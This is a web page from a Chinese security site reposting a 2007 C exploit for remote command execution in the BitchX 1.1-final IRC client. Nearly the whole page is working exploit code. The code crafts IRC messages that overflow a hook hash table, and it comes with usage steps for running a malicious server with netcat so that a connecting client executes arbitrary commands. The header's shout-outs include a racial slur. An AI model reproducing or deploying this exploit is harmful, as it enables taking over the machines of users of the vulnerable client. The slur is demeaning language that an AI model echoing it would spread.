首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
BitchX 1.1-final (EXEC) Remote Command Execution Exploit
来源:www.vfocus.net 作者:clarity_ 发布时间:2007-06-22  
/* Name: PBXS - Pointless BitchX Sploit
* Author: clarity_
* Infected Versions: 1.1-final and others?
* Synopsis: BitchX suffers from a unchecked bounds in a hash table in hook.c where one
* can inject data structures allowing for the remote execution of commands!
* Usage: Execute "gcc -o pbxs pbxs.c; ./pbxs ps -aux | nc -l -p 6667" Now when the vuln bitchx
* version connects to the mischievous server "ps -aux" will be executed.
* Shout Outs: solomon, crypt1, vortek, ziri, and all the other niggaz at svun @ undernet
*/

// Addresses for BitchX-1.1-final-linux.tar.gz avail on ftp.bitchx.org
#define HOOK_FUNCTIONS 0x81366e0
#define NICKNAME 0x8155353
#define STAR 0x8108f34

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define NICK_STR ":bleh!i"
#define NICK_STR2 "@svun.powns.net NICK :"
#define EXEC_STR "EXEC $1-"
#define RAW_FMT_STR ":my_server -%u bleh :%s"

typedef struct {
unsigned int hook_functions,
nickname,
star;
unsigned int base, diff, offset;
} Addresses;

/* Partial structs full struct w/ correct values found in include/struct.h */
// To be loaded into nickname static
typedef struct {
    unsigned int name; // point to hook
    unsigned int list;
// EXEC $1- 2 words
} HookFunc;

// To be loaded into joined_nick static
typedef struct {
//    unsigned int next; /* struct hook_stru *next; */
    unsigned int nick; /* char *nick; */ //star
    unsigned int stuff; /* char *stuff; */
unsigned int shit;
} Hook;

char * make_nickname(Addresses *addrs, int X, int Y) {
char *tmp = NULL, *sp = NULL;
int i;
HookFunc h;
Hook hk;

// malloc
tmp = (char *) malloc(1024);

// BASE
h.name = addrs->star;
h.list = addrs->base - addrs->diff - 4;

if (Y) {
// start loading string
if (X == 4) {
strcpy(tmp, NICK_STR);
}
else {
strcpy(tmp, ":");
strcat(tmp, make_nickname(addrs, X + 1, 0));
strcat(tmp, "!i");
}

sp = tmp + strlen(tmp); // point to char after tmp
//*sp++ = '0' + X;
strcpy(sp, NICK_STR2);
}
else {
sp = tmp;
*tmp = '\0';
}

    hk.nick = addrs->star;
    hk.stuff = addrs->base + 8;  // "stuff" is loaded after the nick

    // load str
    sp = tmp + strlen(tmp); // point to char after tmp

    memcpy(sp, &hk, sizeof(Hook));
   sp += sizeof(Hook) - 4;

if (X != 4) {
while (X--) {
*sp++ = 'X';
}
*sp++ = '\0';
return tmp;
}
else {
while (X--) {
*sp++ = 'X';
}
}


// pad
if (sizeof(Hook) > addrs->diff) {
printf("!!!!!!!!!!!!!ERRRRRRRRRRRRROOOOOOOOOOOOOOOOORRRRRRRRRRRRRRRRRR: %d\n", addrs->diff);
}

for (i = sizeof(Hook); i < addrs->diff; ++i)
*sp++ = 'x';

memcpy(sp, &h, sizeof(HookFunc));
sp += sizeof(HookFunc);
memcpy(sp, EXEC_STR, strlen(EXEC_STR));
--sp[4];
sp += strlen(EXEC_STR);
*++sp = '\0';

return tmp;
}

//#define RAW_FMT_STR ":my_server %d bleh :%s"
char * make_raw(Addresses *addrs, char *cmd) {
char *tmp = NULL;
unsigned int len;

len = 2000; // fix later
tmp = (char *) malloc(len);

sprintf(tmp, RAW_FMT_STR, addrs->offset, cmd);

return tmp;
}

int main(int argc, char **argv) {
Addresses addrs;
char *cmd = argv[1];

addrs.hook_functions = HOOK_FUNCTIONS;
addrs.nickname = NICKNAME;
addrs.star = STAR;

addrs.offset = ((NICKNAME - HOOK_FUNCTIONS) / 20) + 1;
addrs.diff = 20 - ((NICKNAME - HOOK_FUNCTIONS) % 20);
addrs.base = NICKNAME + addrs.diff;

printf(":my_server 001 bleh :a\n");
printf("%s\n", make_nickname(&addrs, 4, 1));
printf("%s\n", make_nickname(&addrs, 3, 1));
printf("%s\n", make_nickname(&addrs, 2, 1));
printf("%s\n", make_nickname(&addrs, 1, 1));
printf("%s\n", make_nickname(&addrs, 0, 1));
printf("%s\n", make_raw(&addrs, cmd));

return 0;
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·LAN Management System (LMS) <=
·HTTP SERVER (httpsv) 1.6.2 (GE
·LiveCMS <= 3.4 (categoria.php
·SerWeb 0.9.4 (load_lang.php) R
·Jasmine CMS 1.0 SQL Injection/
·PHP 5.2.3 Tidy extension Local
·Apache mod_jk 1.2.19/1.2.20 Re
·Solar Empire <= 2.9.1.1 Blind
·BarCode ActiveX Control BarCod
·MiniBB 2.0.5 (language) Local
·Pluxml 0.3.1 Remote Code Execu
·Simple Invoices 2007 05 25 (in
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved